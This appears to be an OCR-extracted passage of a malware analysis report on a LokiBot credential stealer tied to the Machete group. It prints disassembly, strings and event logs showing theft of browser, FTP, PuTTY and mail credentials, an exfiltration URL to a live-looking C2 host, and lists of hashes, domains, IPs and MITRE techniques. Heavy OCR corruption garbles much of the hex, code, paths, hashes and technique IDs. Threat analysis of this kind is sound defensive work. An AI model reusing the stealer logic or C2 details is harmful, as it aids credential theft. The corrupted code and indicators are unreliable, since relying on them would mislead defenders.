Jad Tag: VadS Protection: PAGE_ERECUTE_READWRITE
Flags: CommitCharge: 162, MemCommit: 1. PrivateMemory: 1. Protection:

B 4d Sa 78 A3 08 B0 B0 A4 B0 BA B8 ff ff B0 @0
hE 80 @@ @8 B0 9@ BA 40 B8 B0 B0 BA OO0 B8 @8
B8 88 88 B8 BF B0 B0 A8 GO BE B0 B8 OO BO B0
8 80 8o B8 B0 PO DO BB B8 B0 8@ f@ OO0 B8 @8

DEC EBP
FOP
NHOP
ADD
ADD
ADD
ADD
DE @
IHC
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD
ADD

EAx1. AL

PAGE_EXECUTE READWRITE Enables execute, read-only, or read/write access to the committed region of pages.
Ox40 Windows Server 2003 and Windows XP: This attribute is not supported by the CreateFileMapping
function until Windows XP with SP2 and Windows Server 2003 with SP1.

We obtain this payload and compare this version to the initial file without injecting
and we observe clear differences, they are not the same file, which means that from
the initial version to the final version that we have extracted from memory has
undergone a change at RunTime, the injection.
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= cusers's ' desktop've | property
4l indicators (4/17)
3 name
’ md5

> dos-header (64 bytes)
BN dos-stub (176 bytes)
> file-header Jun 2016]
> optional-header (file-chec

= directories (2)

file-ratio (99.04%)
file-cave (683 bytes)
entropy

raw-address

raw-size (105472 bytes)
virtual-address
wvirtual-size (652665 bytes)
entry-point ({:000139DE)

> libraries (1L/4)
| imports (9/19)

[e'

value

et

94FA411 AFI CCRBBIGBAIEA. .,

75.00 %
79872 bytes

0.000

0x00000400

000013800 (79872 bytes)
0x00401000

0x000136F5 (79605 bytes)
X

value

.rdata
D4F11027D39B1BEBD291BES...
1587 %

16896 bytes

0.000

0x00013C00

000004200 (16896 bytes)
000415000

000004060 (16480 bytes)

value

Jdata

8IA56ASS6EER21TE1841F581 ..,

048 %

512 bytes

0.000

0x00017E00

0x00000200 (512 bytes)
000414000

0x00085E24 (548388 bytes)

value

x
EE11D5D00533BA1FI99131E...
769 %

8192 bytes

0.000

000018000

000002000 (8192 bytes)
0:004A0000

000002000 (8192 bytes)

137
O writable - - x 3
] executable x - - -
abe strings (53/1549) shareable - - - -
-@- discardable
E{ initialized-data
uninitialized-data
& resdsble
[ self-modifying
blacklisted e
pestudio 896 - Malware Initial Assessment - www.winitor.com [c\ n di \38020e\ed93ed. exe]
file help
%
=5 eusersy) \appdata\roaming\a8l | property ke _—— _——
A indicators (2/17) name o et date
2 md5 FTF4ABSB1GESE002B4008130.., 246194036F83079000659148... 0666094B41BCO81407ESED]...
- dosheader (64 bytes) file-ratio (98 47%) 6260 % 201% 687 %
B dos-stub (152 bytes] file-cave (830 bytes) 41984 bytes 19456 bytes 4608 bytes
> file-header (Apr.2022)
> optional-header (file-checksum) entropy 0.000 0.000 0.000
raw-address 0:00000400 000004800 0:0000F400

=4 directories (3)
Pl sections (98.47%)

raw-size (66048 bytes)

0:0000A400 (41984 bytes)

0:00004C00 (19456 bytes)

000001200 (4608 bytes)

. libraries (2/8) virtual-address 000401000 0:0040C000 000411000
L7 imports (33/112) virtual-size (72930 bytes) 000004206 (41475 bytes) 0x00004 ABC (19132 bytes) 0x00003020 (12320 bytes)
) entry-point (0x000014D5) x
~ writable - - x
e} executable 3 - -
abc strings (32/730) shareable - - -

% discardable

5[ initialized-data
uninitialized-data
= readable

] self-meodifying

We can see that this process would perform additional functions, such as obtaining
information from browsers or opening connections.

=] executable.2212.exe:2888 Properties

=N Nl =~

| Image I Performance I Performance Graph I

Disk and MNetwark |

| GPU Graph I Threads I TCR/IP I Security I Environment | Job

| Strings

Printable strings found in the scan:

SOFTWARE\K-Meleon

SetupPath

SOFTWARE \ComodoGroup'lce Dragon'Setup
Roat Dir

SOFTWARE" Bpecxstudios \Cyberfox86
SOFTWARE"\8pecxstudiosCyberfox
SOFTWARE \mozilla.org"SeaMonkey
“%s\Mozilla\Profiles

SOFTWARE \Mozilla"SeaMonkey

SOFTWARE \Mozilla"Waterfox

#s\Lunascape'\Lunascapeb'plugins' {980 D5314-20A6-4d98-AB30-8325A%" »

[n ] executable. 2212 exe:2883 Properties

=1 |E=R =<

I Performance Graph

| Disk and Metwork

| Strings

firefo exe | Image I Performance
kemel32 dil | GPU Graph I Threads I TCP/IP I Security I Environment I Job
sCrypt32.dll
Shiwapi_dil Printable strings found in the scan:
#s\Opera | Server
wand.dat m settings
bfom_password_conitrol name
form_usemame_control value
Software Gt Web NET\GtWeb Intemet Browser'AutoComplete server
%s\Qupdillatprofilesdefault \browsedata.db Lsemame
Install Dir protacol
SOFTWARE Apple Computer, Inc.\Safari LsalCrypt Unprotect Data
e Apple Computer' Preferenceskeychain plist Port
e\ Apple Application Supportplutil exe UserMName
ml Passwaord
-convert xml1 5 0 %s "%s" 2 MAC=%02X 702X L 02XINSTALL=" 08X 708Xk
4 m 3 Fuckav.ru
ZAA]

Once the sample has been put under analysis, we find both statically and dynamically

the above mentioned function
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We observe that during the first steps of the payload it will load libraries, which
indicates that it will avoid showing its next steps, it will perform this function by calling
at RunTime of these DLLs and loading them with LoadLibrary, a usual process that is
performed together with GetProcAddress.

[ o [T
00413950 ES S0FSFEFF call executable.z212.4031E5
00413955 S04 BB Tea ecx,dword ptr ssiebp-42]
00413958 c1 push ecx ecx: L"OLEAUTIZ.d11"
00413959 FFDO call =
0041395E 53 push eggt?
0041395C 53 push eb
00413950 56 push esi 7EZC492E <kernel3Z.LoadLibraryw>
0041395E 53 push ebx |mov edi,edi
0041395F ES S1FEBFEFF gall executfpPush ebp
00413964 D40 D4 lea ecx,dwdmov £bp,esp
00413967 £l push ecx push 0 AUTZ2.d11™
00413968 FFDO gall eax |Push O -
0041396A 53 push ebx |push dword ptr ss:[[ebp+s]
00413968 53 push ebx call «<IMP.&LoadLibraryExiw:
0041396C 56 push esi |pop ebp
00413960 53 push sbx LEEE 4
e o e e
0041395F ES B1FBFEFF €all executable.2212.4031E5
00413964 BD4D D4 Tea ecx,dword ptr ss:|[Jebp-2C[
51 push ecx ecx: L"ws2_32.d11"
FFDD call eﬁ
53 push e
0041396E 53 push ebx
0041396C 56 push esi |[F62C492B <kernel32.LoadlLibraryw:>
0041396D 53 push ebx |mov edi,edi
0041396E EB TZFEBFEFF call exedpush ebp
00413973 804D EC lea ecx,gqmov ebp,esp
00413976 51 push ecx |push 0 z_32.d11"
00413977 FFDO €alll e=ax |push O
00413979 ES DEO&0O00 call exeqpush dword ptr ss:|[[ebp+a]
0041397E 85C0 test =ax,|Call <IMP.&LoadlibraryExw>
00413980 74 51 je execut|pfop ebp
00413982 E& 10040000 call exedret 4

Subsequently, we would see a high use of cryptography for the creation of different
strings

DBSB8ECA8020E493ED7E2985
S5B8ECA8020E493ED7E2985

8ECA8020E493ED7E2985
push ebp
mowv ebp, esp
sub esp, @Ch
push ebx
push edi
push offset aMachineguid ; "MachineGuid”

push offset aSoftwareMicros ; "SOFTHA
push geeapaazh

EViMicrosoft\\Cryptography”

wor edi, edi

call sub_ 484452

maov ebx, eax

add esp, @Ch

test ebw, ebx

jz short loc 486634

eax: L"DESESECABOZ0OE433EDTEZ3585 "
edmu+4: L"SESECABOZ0OE433EDFEZ3585 "

eax+58: L"8ECASO20E493EDTE2985"

eax: L"DESESECABOZ0E493EDTFE29585"

eax:L"DESESECASOZ0E493EDTEZ29585"
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Once obtained we will see that it will perform a Mutex with one of them (T1027.005),
this is usual, to verify that indeed a sample of LokiBot has not been executed, in this way

we would rule out reinfection

call
push
push
push
push
mov
call
push
Xor
inc
push
push
call
call
cmp
jnz

_Crypto
ebx

ebx
BCF167DF4h
ebx

esi, eax
_Operation
esi

ezi, esi
esi

esi

ehx

eax

ds:GetLastError

eax, BE7h

short loc_4139B2

CreateMutex

-

FFDO

FF15 10504100

3D B7O000000
v F& 07

ES DOO10000

E8 4CFEFFFF
EE FZFLFFFF

]
3
3
3
3
3
3
3

executable 2212 exe

1424 Mutant

edi,ed

jmp <IMP.&CreateMutexit=

“Sessions® 1 BaseMamedObjects D BABEECABDZ0E4AS3ED VEZSE5

After these previous steps, we would enter the functionalities that would cover the most
characteristic information of LokiBot, its Stealer tasks.
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We observe that it is going to make a call to a routine where it will perform different
fetches in a loop

il s =

; Attributes: bp-based frame
_InfoSteal proc near

arg_B= dword ptr 8
arg_4= dword ptr @ch

push ebp
mov ebp, esp
cmp [ebptarg_4], 8
jz short loc_412FFF
[l e =
mov eax, [ebpt+arg @]
mov dword_49FDEC, eax
call [ebptarg_4] 3 InfoSteal

loc_412FFF:
pop ebp
retn i

_InfoSteal endp

In this, we will observe that it will go over one by one all the elements it wants to check,
meanwhile, it will save the information in memory so that those softwares it finds and
collects the information it needs

MIFE
loc 4137A6:
push [ebptesitvar 194]
push [ebptesitvar 328]
call _InfoSteal
add esi, 4
cmp esi, 194h
jb short loc 4137A8
—
=
FFB435 GCFEFFFF push dword ptr ssi[ebp+esi-124]
FFE435 DSFCFFFF push dword ptr ss:|[febp+esi-325]
ES8 32F8FFFF call executable.2212.412FEB
83Ce D4 add esi,4
B1FE 94010000 cmp esi,194
~L72 E2 jb executable.2212.4137A6
Al EBFD4300 mov eax,dword ptr ds: [49FDES]
53 push ebx

Some of these would be browsers (T1217), among which we can observe a great
number of them
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push ebp

mov ebp,esp

push ecx

push ecx

push esi

push edi

push 80000002

push executable.2212.4163A8
mov edi,executable.2212.4163C8
push edi

call executable.z21z.404E22
mov esi,eadx

add esp,C

test esi,esi

je executable.2212. 4093FF
push ebx

push executable.z212.41640C

push esi
call executable.2212.405EFF

nAn acw

4163A8
4163C5E

41640C

rL"Currentversion”
ILUSOFTWAREMS \Mozilla\\Mozilla Firefox"

ILUXE4"

push
push
push
push
call

esi

Boo00002

executable. 2212, 416604
executable. 2212, 416608
executable. 2212, 404822

mov esi,eax
add esp,C

test

esi,esi

4166C4: L"SetupPath™
4166D8: L"SOFTWAREY \ComodoGroupiyIceDragon'\Setup™

push

ebp

mov ebp,esp

push
push
push
push
push
push
call

ecx
ecx

ebx

80000002
executable.2212. 416B2C
executable. 2212. 416E458
executable.zz212. 4046822

mAve ahw asw

416B2C:L"Installpir”
416B45: L"SOFTWARE \Apple Computer, Inc.‘h\Safari”

At events section, we can see in a more visual way the big list it checks during a normal

execution

T svgsnex.exe 2968 [ShCreateFile

B svgsnex.exe 2568 E\QuewBasiclrrforrnationﬁle

T svgsnex.exs 2968 [Pk CloseFile

B svgsnex.exe 2968 Bh.CreateFile

B svgsnex.exe 2568 E\QuewStandardlrlforrnationHIe
T svgsnex.exs 2968 [2h ReadFile

W' svgsnex.exe 2968 E_:}F{eadFile

2968 ShCloseFile

5 g
T svgsnex.exe 2968 = CreateFile
T svgsnex.exe 2568 B\D‘eateﬁle
T svgsnex.exe 2968 = CreateFile
T svgsnex.exe 2968 = CreateFile
T svgsnex.exe 2568 B\D‘eateﬁle
T svgsnex.exe 2968 hCreateFile
T svgsnex.exe 2968 hCreateFile
T svgsnex.exe 2968 hCreateFile
T svgsnex.exe 2968 hCreateFile
T svgsnex.exe 2568 Bu&eateﬁle
T svgsnex.exe 2968 hCreateFile
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2568 Bn&eateﬁle
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2568 Bn&eateﬁle
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2568 E_:}CreateFile
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2968 = CreateFile
T svgenex.exe 2968 = CreateFile
B svgsnexexe 2968 ShCreateFile
B svgsnexexe 2568 ;_:}CreateFile
B svgsnexexe 2968 ShCreateFile
B svgsnexexe 2968 ShCreateFile
B svgsnexexe 2568 ;_:}CreateFile
B svgsnex.exe 2968 =hCreateFile
B svgsnex.exe 2968 =hCreateFile
B svgsnex.exe 2968 ShCreateFile

C:hUsers'
C:hUsers)
C:hUsers'
C:hUsers’
C:hUsers’
C:hvUsers’
C:hUsers’

C\Users'om
C\Users®
C\Users®
C\Users®
C\Users®
C:\Users®
ChUsers
C\Users'om
C\Users®
C\Users®
C\Users®
C\Users®
C\Users"
Chlsers"mm
C\Uzers'om
C\Users"
C\Users"
C\Users®
C\Users®
C\Users®
Chlsers'mm
C\Uzers'om
C\Users"
C\Users®
C\Users®
C\Users®
C\Users®
Chlsers'mm
C:\Users'mm
C:\Users®

' AppDatatLocal\Google  Chrome'\User Data'Default . Login Data
s AppData'Local\Google" Chrome\User Data*DefaultLogin Data
"AppDatatLocal\Google Chrome"\User Data®Default'Login Data
“AppDatat Local\Google Chrome\User DataDefault' Login Data
“AppDatatLocal\Google Chrome' User Data'\Default’Login Data
“AppData'Local\Google  Chrome\User Data“Default'Login Data
AppDatat Local\Google Chrome\User Data®Default' Login Data

"AppData*Local'Google Chrome'\User Data'\Default’\Login Data
“AppData*LocalMichromeUser Data“Default\Login Data
“AppData*LocalMichromeUser Data' Default'Web Data
“AppData*LocalNichrome'\Login Data
“AppData*LocalNichrome'\DefaulttLogin Data
“AppDatatLocal'Rock Melt\User Data"\Default'\Login Data
“AppDatatLocal'Rock Mett\User Data\Default\WWeb Data
"AppData*LocalRockMelt\Login Data

"AppData*LocalRock Melt\Default Login Data
“AppDatatLocal’Sparkc'User Data"\DefaultLogin Data
“AppDatatLocal’SpardchUser Data* Default ' Web Data
“AppDatatLocal SparcLogin Data

“AppData*Local SparcDefault.Login Data
“AppData*Local'Chromium® User Datg"\Default'\Login Data
"AppData*Local'Chromium* User Data'\Default\Web Data
"AppData*LocalChromium'\Login Data

“AppData* LocalChromium\Default Login Data
“AppData*Local'Titan Browser'\User Data'\Default'Login Data
“AppDatatLocalTitan Browser'\User Data'\Default"Web Data
“AppData®LocalTitan Browser'Login Data

“AppData*LocalTitan Browser'\Default'Login Data
"AppData*LocalTorch' User Data'\DefaultLogin Data
“AppData®LocalTorch' User Data® Default ' Web Data
“AppData*Local Torch'Login Data

“AppData*Local TorchDefaultLogin Data
“AppData®Local'Yandex'\YandexBrowser'\User DataDefault*Login Data
“AppData’Local'Yandex' YandexBrowser'\User DataDefault’Web Data

" AppData® LocalYandex' YandexBrowser'Login Data
" AppDatat LocalYandex YandexBrowser\Default \Login Data

“AppData*LocalEpic Privacy Browser\User Data"Default®Login Data

Chlsers" 0 0 MAppDiatatLocal\Epic Privacy Browser\User Data“Default " Web Data

In addition, it will get software information from different FTP (T1555) or backups

related
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push ebx

push esi

push dword ptr

push edi

s5: [Bebp+5]

push executable.2212.417D598
call executable.221z.405B6F
mov ebx,eax

add esp,lD

test ebx ebx

push o0
push 1

push executable.z2212.417CAS
call executable.z2ziz.41219C

T e mmam wme s

Xor 24ax,edx

add esp,C

push o0
push 7

push executable.
call executable.

.
call executable.z212. 4056BF

mov edi,executable.2212. 40ED96
mov dword ptr ds: [49FA38] ,eax

push edi
xor ebx,ebx

mov esi,executable.2212. 417730

push ebx
push 7
push esi
push ebx
push

call

R T ——

2212. 418020
2212.41219C

Nor edax,eax

add esp,C

It occurs the theft of sessions and user information in FTP, PuTTY and similar,
locating both files with such information and making requests to the registry keys

(T1552.002)

' sVgsnex exe
' sVgsnex exe
' sVigsnEx EXE
' sVigsnEx EXE
| BVOSNER EXE
| BvigEneR exe
' svigsnex exe
' svigsnex exe
' sVgsnex exe
' sVgsnex exe
' sVigsnEx EXE
| BVOSNER EXE
| BvigEneR exe

- e ———

| SWOSNEN.EXE
' swgsnex.exe
' swgsnex.exe
' swgsnex.exe
| swgsnex.exe
! swgsnex.exe
! swgsnex.exe
! swgsnex.exe
| SWOSnEN.EXe
| SWOSnEN.EXe
| SWOSnEN.EXe
| SWOSNEN.EXE
' swgsnex.exe
' swgsnex.exe
' swgsnex.exe
' swgsnex.exe
! swgsnex.exe
! SVgsnex exe
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2968 Sk CreateFile
2968 ShCreatefile
2968 ShCreatefile
2968 ShCreatefile
2963 [ShCreateFile
2968 [ShCreateFile
2968 [k CreateFile
2962 [k CreateFile
2968 [k CreateFile
2968 ShCreatefile
2968 ShCreatefile
2963 [ShCreateFile
2968 Bk CreateFile

———— i ———

2568 ﬁ HegQueryKey
2968 ﬁ RegOpenkey
2968 ﬁ RegQueryKey
2968 ﬁ RegOpenkey
2968 ﬁ RegQueryKey
2568 ﬁ ReaOpenkey
2568 ﬁ RegQueryKey
2568 ﬁ ReaOpenkey
2568 ﬁ RegQuerykey
2568 ﬁ RegOpenkey
2568 ﬁ RegQuerykey
2568 ﬁ RegOpenkey
2968 ﬁ RegQueryKey
2968 ﬁ RegOpenkey
2968 ﬁ RegQueryKey
2968 ﬁ RegOpenkey
2568 ﬁ RegQueryKey
2568 g ReaOpenkey

executable. 2212, 4177 4C
executable. 2212, 412093

ebx:L"C:“\\Program Files (x88&)\%JasFtp7‘\encPwd.jsd"

[ebp+8]:L"JasFtp"
edi:L"C:%\Program Files (x8&)"
417D98: L"%s\ W 5% \encPwd. jsd”

ebx:L"C:\\Program Files (x8&)%%\JasFtp7‘\encPwd.jsd",

ebx:L"C:%\Program Files (x86)%\JasFtp7’’\encPwd.jsd"

417CA8: L"%s ). configi\Fullsynciprofiles. xml"

417720 L %=\ \ExpanDrive"

41774C:L"=Favorites. js"

418020: L%\ INSoT twar el s\ NovaF TPy NovaFTP. db"

Chlsers” ' config fullsyncprofiles xml

ChiUsers’ ‘WAppData* Roaming " FTPInfo*\Serverlist 2ml
C:A\Users mmemss \App Data* Roaming  F TP Info'\Serverlist.cfg
C:“Program Files 6c86)File Filla*Filezilla xml

ChUsers s AppData RoamingFile Filla“filezila 2l
Chlzers
Chlsers "AppData*RoamingFileila"stemanager xml
C:\Program Files (86" Staff-F TP sites ini

CAlsers o0 W\ AppData' RoamingElaze Ftp'site dat
C:\Program Files (c86)"Fastream METFile'My FTP Links
C:\Program Files (c86)GoF TP settings Connections bd

ChlUsers e AppData’ RoamingEstsoft'\ AL FTPESTdb 2 dat

C:\Program Files gc86)"DelueF TP sites xml
HKLM, —
HELM"Software \Wowg432Node \MCH Software \Fing Accounts
HKCLU
HECZ M Software \WCH Software \FlingAccounts
HKLM

e memmy tm et w44 e e e

HKLM* Software WowB432Node"MCH Software*\ClassicFTPAWFTPAccounts

HKCU

HKC U Software"NCH Software*ClassicFTPAFTPAccounts
HKCL

HKC UM Software'Sbis com KT TY " Sessions

HKCL

HKC UM Software'.Simon Tatham  PuT T\ Sessions

HKLM

HELM*Software \WowE432MNode  Simon Tatham PuTTY \Sessions
HKLM

HELM*Software \WowE4 32MNode  Sbis comMKiT T Sessions
HKLM

HKLM*SOFTWARE \Wow6432Node 'Mozila“Mozilla Thunderbird

"AppData’ RoamingFile dilla"recentservers xml



Once all this information has been obtained (T1592), the Malware will have stored data
about the computer and users covering the following fields:

e Mails
e Browsers
e FTP

e Backups
e Password Managers
e SSHcredentials

Subsequently, it would perform the network tasks, among which we see how it moves a
common and widely used string in Yaras for LokiBot detection:

D1RycqltP2vSeaogj5bEUFzQiHT9dmKCn6uf7xs0YOhpwr43VINX8IGBAKLMZIW

call sub_ 486799

push @Fh

pop eCx

mov esi, offset aDlrycqltp2vsea ; "DlRycqltP2vSeacgjShEUFzQiHTO9dmKCneufTxs™. ..
lea edi, [ebpt+var_48]

rep movsd

After this, we would see the construction of the UserAgent also characteristic of this
Malware is Mozilla Charon Inferno

call executable.z2iz.413DES

mov ebx,eax ebx:"Mozilla/4.08 (Charon; Inferno)",
pop ecx
pop ecx
test ebx,ebx ebx:"Mozill1a/4.08 (Charon; Inferno)™

je executable.2212.4142E2
push dword ptr ss:ifebp+C[]
Tea eax,dword ptr ds:[esi+Aa] eax:"Mozilla/4.08 (Charon; Inferno)™
push dword ptr ss:|ebp+3]

push ebx ebx:"Mozilla/4.08 (Charon; Inferno)”
push eax eax:"Mozilla/4.08 (Charon; Inferno)™
Tea eax,dword ptr ds:[esi+10E] |eax:"Mozilla/4.08 (Charon; Inferno)™
push esi esi:"80"

push eax eax:"Mozilla/4.08 (Charon; Inferno)™

call executable.z2212.41406C

And the domain, which always follows a similar pattern, ending in .php. This domain
(T1071.001) is the one used for Command & Control (C&C).

http://<domain|IP>/path/<RandName>.php

cdll executable.2212.405D0B

pop ecx

push eax eax: "http: //sempersim. su/ge2s/fre. php"
mov eax,dword ptr ds:[49FDF8] |(eax:"http://sempersim.su/gezs/fre.php”
mov ecx,edi

test eax,eax eax: "http: //sempersim. su/ge2s/fre. php"
CMOVNE 2Cx,2ax eax:"http: //sempersim. su/ge2s /fre. php”
imul eax,ecx,G64 eax: "http://sempersim. su/ge2s/fre. php"
Tlea eax,dword ptr ss:[febpt+eax-]

push eax eax:"http: //sempersim. su/ge2s /fre. php™
call executable.2212.413BCC

add esp,1C

mov dword ptr ss:[ebp-8],eax [ebp-8]:"http: //sempersim.su/ge2s/fre.php
test eax,eax eax: "http://sempersim.su/ge2s/fre. php"
je executable.2212.4142F2

nush saw pay: "httn: f/=pmner=im. =1 /os?E SFra_nhn™
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We can see this pattern reflected in different samples:

Once it has all the information collected from the user, the computer, the UserAgent and
the address, it will create the connection to exfiltrate this data (T1041)

memset{&pHints, @, sizeof(pHints));

pHints.ai_socktype =

pHints.ai_protocol =

pHints.ai_family = 2

if ( getaddrinfo(phc
return @;

v3 = (SOCKET *)MvBytes(4u);

1;
H

3
d

Name

Result-»ai_family, ppResult-rai socktype, ppResult-»ai_protocol);

sub 482BAB(v4);
freeaddrinfo(pp
return @;
1
if ( connect(vé, vS-»ai_addr, vS-»ai_addrlen) == -1 )
1
sub_4B4DES(*va);
*yd = -1;
¥
freeaddrinfo(p
if ( *vd == -1
{
sub_482BAB(v4);
return @;

b

return wvij;

Result});

And, again, as we mentioned in Version 2, we would see again, the duplication of itself
in hidden (T1564.001), using the Roaming folder
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“ysub_485B6F((const char *)L"%s\\Es\\Xs.exe", (char)lpMem);

if ( leetStr(vi, vs) )
= (void *)sub_485B6F((const char *)L"¥s\\¥s", v4, &vi14);
(v7)
if ( sub_4@83C62(v7) )

if ( !sub_4e4A6(vl, vB) )

sub_483C59(vl, vi, @);

sub_412C6A(8, (int)&vid);

sub_4@427D(vE);

sub_4@427D(vE);

sub_482BAB(vE);

sub_482BAB(vE);

sub_482BAB(v4);
nullsub 1{vo);

€a11 executable.2212.405E6F

mov edi,eax edi:L"Ci\Usersy® “hZAppDatayRoamingy \AB0Z0E",
add esp,C

test edi,edi edi:L"C: \\UsersY YWMAppDatal\Roaming\AB020E"
je executable.2212.412C4A

push edi edi:L"C:Y\\Usersh) MhZwaAppDatah\Roaming' WASOZO0E™
call executable.z2212.403C62

pop ecx

test eax,eax eax: L"C:\WUsersh) \MZWAppDatah\Roamingy \WAB020E™

ie executable.2212.412C43

Having ensured the creation of the connection, the data, and so on. We could already
see how the file would try to finish the request, this test was launched in a controlled
environment to avoid external requests.

After this last phase, the attacker would receive all the information stolen from the
computer and the user and, as we have mentioned throughout the document, depending
on the actor or campaign that is using this Malware, may use this data for tactical
advantages (espionage) as in the case of Machete or to extort their victims for profit or
to steal assets.

LokiBot, as we have already seen, has been in 2022 a fundamental weapon for several
groups, both this Malware as others dedicated to perform backdoors and / or information
theft are highly used in the field of espionage as they have a large evasion base that
allows it to persist in systems and remain hidden while obtaining sensitive information
from victims, so we can expect that the rest of this year as 2023 will continue to be used
by groups such as Machete.
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5.10C

Hash:

1FOE6055BBA4D84CB255855E066F9EA721B7F3D2796670C8F54EQEE1700F6933
553543DC1A26A5C1F039A4723E7A130B94DC298DASEFA1CB44A17526CE2C9C92
76FAAEA3C148283602E4DBD717F22AC95828B7E8E7677428F759C03CABOC8D49
66F27CO57AE2E572446D6B26E0G437711957AD7F9C19CD166D2274989A5506960
ACEDFAA9192AAE535A590B220D79D297199CF8DCE92EQFAC397128705EC40A89
5C7013C09A317ADE68AS598ED801015FF48A85D9ADD902FA96CO9ABO044A633F3
28FDE7574200CFFF7F2568DC6E8C735AF3CDE21309DAA5752367C7A1400F4622
F2AF472BCFFO4B8724A7F34CE821366781D6E4D187EFD63EE2F22606F1FA21BA
2D7121BE69E95A2ACC1014789A1C3C9C7FCOOB993331D02EBOABODS4EE8D3B289
5542FCE355F11EF173246F448AF15E949604A3D93C07B61E186F9D433623E8AS
9379205D31D2DC52230C2A39571A363856B53A609D5F79BEAOE2F3F4ADE473C4
5282D85213C0913E46E1FCA68EF35408ED568A4CC371CD637ECBEB79863756CE
99F53E1ACOB679E18C434063300C506C88EA9702A7E77C342CF10B0O3341E7641
1A3BBF6F2ABFA4DC657A51EEDF5FA2D6CEF29C9461520990DEB36B97614EB2CF
702A898F99FDCF56D29F5A9D4(C54794C09880F 7BO00488A1FOF4C2259E520BEE
C4C6068B86FCDFOF5EBE83A9D114BC16F2F5FDO9BAA4DO56036954BDFO6061004
1B26EF115B65A06537BDAE7476FC08B8724760140FC683CBC3669EA3SDEB5581F
E9587192EAFDC1E8DFOBCF41188482001FEC2ABDF220724E3421F7CCB210F1AA
4C7CE63CD966E72E5D94F6DC8BOF82CEC35B88B1A8D24305C52A7106CDAD5ADY
FA507820DCCC5E1445A137CE231BB77EEA9827B5946013CE28122495184DEFOD
A85674AE37EEQ5418C755E06EA117AE6538EF6CEAC2D1F17E1C1CBO98BDC52A46
72C685CB7B3CB302CE7DE467CBOE5068423315BC2A6ES5F85FA82EABOSBAE7071
1FA317B9977F8CE780C1BB39567347D233F87646997F55FD6DE16C306FBD44E1
D7A88D2806270F681EE98030DEOOC8BED6D96826D2A7BA927669482096BE25FB
93A317A5F290DB61EFB5033014E0933A944781482826D4972DOCED23779C8580
0561EF4A843C01976285CFB6C8AAB634B17957C4C7662E3C40D02D18FFAC1FOB
1568DAE901BB13790A6B59C3BC16940B9C4312927D48B47116780CE9B562DAFF
3A1E7F67F7CO9EFF58BOFOBSED15150D21BB9869CCECAC8EAA6CO90782EFOO59D
©A83A0739E56D54DCF9195COE196D35327A982DA47205C42E62051BBA8D21A1E
D1D4ADE@OEEC1F8A48173B341EEB3530BA4F12538D1A112CDCD94EA63A8954D6E
253064A458B2827F7104559B04534BE6BAG156EF2094FD20FAQ9545FEQ5F9564
8587AA68C6D1E91713A9121A286B66844EQ45DAD68EA789AEO8803D3FDFACCFS
18E48935D6983040DEDDCF33658A53E4B02799CO3E45CB6DSAAE3FCB356009E0Q
F11EE6222BC510E8CCB2B73C44180915C013EC2AF37BFA34825D8A82DF48A7D9

Domain:

boatshowradio[.]com
shopget24[.]com
parkingcrew[.]net
wwl[.]rederatural[.]Jcom
wwl[.]amznamzn[.]com
wwl[.]tsx[.]org
wwl[.]generalsearches[.]com
wwl[.Jusabank[.]com
wwl[.]virustoal[.]com
wwl[.]survey-smiles[.]com
millsmiltinon[.]com
nilemixitupd[.]biz[.]pl
allprivatekeys[.]com
auth[.Jtrinityseal[.]me
celeb[.]gate[.]cc
ttconf[. Jpw

agis[.]org
blueeyeswebsite[.]com
vb[.]3dlat[.]com

32



freeadultvideos[.]cc
Fuckav([.]ru

Sempresim[.]su

Aboasu[ . ]xyz

msdvc[.]com
terrazzaitaliana[. ]mx
bridgesfoundationrepair[.]com
www[ . ]Jalertsecurities[.]in
protechasia[.]Jcom
alongsidecoach[.]Jcom
farhaani[.]com

www[ .]lieebherr[.]com
css[.]developmyredflag[.]top
gxq[.]ddns[.]net
babaseoa[.]com
leansupremegarcinial. ]net
celebration-studio[.]com
booking[.]msg[.]bluhotels[.]com
www[ . Jtenorshare[.]com
proxyfreaks[.]com
office-archive-index[.]com
vladisfoxlink[.]ru
officeupgrade[.]org
grab-indonesia[.]com

pool[. Jug

IP:

185.53.179.29
172.67.178.39
204.11.56.48
79.124.8.8
192.168.100.27
176.123.0.55
45.133.200.3
162.222.226.194
209.99.40.222
119.235.250.52
198.54.114.236
77.222.62.31
72.52.179.174
104.18.43.10
207.55.248.17
192.169.69.25
185.55.227.103
173.239.8.164
111.118.212.120
31.220.40.22
45.133.1.20
45.133.1.45
20.106.232.4
198.187.30.47
62.197.136.176
37.0.11.227
107.173.229.131
181.214.31.161
89.38.241.83
103.21.59.27
192.124.249.18
107.180.55.15
195.191.148.105
23.253.46.64
66.96.149.17
111.90.156.65
103.253.212.80

33



103.83.81.68
204.93.174.136
192.168.100.211
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6. MITRE

Tactics:

TAGOO1 Initial Access
TAGOO2 Execution

TABOO3 Persistence

TABOO5 Defense Evasion
TAOOO6 Credential Access
TAQOO7 Discovery

TAGOO9 Collection

TAQQ11 Exfiltration

TAGQ11 Command and Control

Techniques:

T1106 Native API

T1203 Exploitation for Client Execution
T1134 Access Token Manipulation

T1055 Process Injection

T1140 Deobfuscate/Decode Files or Information
T1027 Obfuscated Files or Information
T1003 0S Credential Dumping

T1134 Access Token Manipulation

T1218 System Binary Proxy Execution
T1497 Virtualization/Sandbox Evasion
T1036 Masquerading

T1082 System Information Discovery
T1012 Query Registry

T1518 Software Discovery

T1059 Command and Scripting Interpreter
T1087 Account Discovery

T1083 File and Directory Discovery
T1082 System Information Discovery
T1033 System Owner/User Discovery
T1560 Archive Collected Data

T1217 Browser Bookmark Discovery

T1185 Browser Session Hijacking

T1005 Data from Local System

T1592 Gather Victim Host Information
T1114 Email Collection

T1555 Credentials from Password Stores
T1105 Ingress Tool Transfer

T1095 Non-Application Layer Protocol
T1573 Encrypted Channel

T1071 Application Layer Protocol

T1041 Exfiltration Over C2 Channel

T1566.002 Phishing: Spearphishing Link

T1137.001 Office Application Startup: Office Template Macros

T1059.001 Command and Scripting Interpreter: PowerShell

T1074.001 Data Staged: Local Data Staging

T1027.005 Obfuscated Files or Information: Indicator Removal from Tools
T1552.001 Unsecured Credentials: Credentials in Files

T1552.002 Unsecured Credentials: Credentials in Registry

T1555.003 Credentials from Password Stores: Credentials from Web Browsers
T1564.001 Hide Artifacts: Hidden Files and Directories
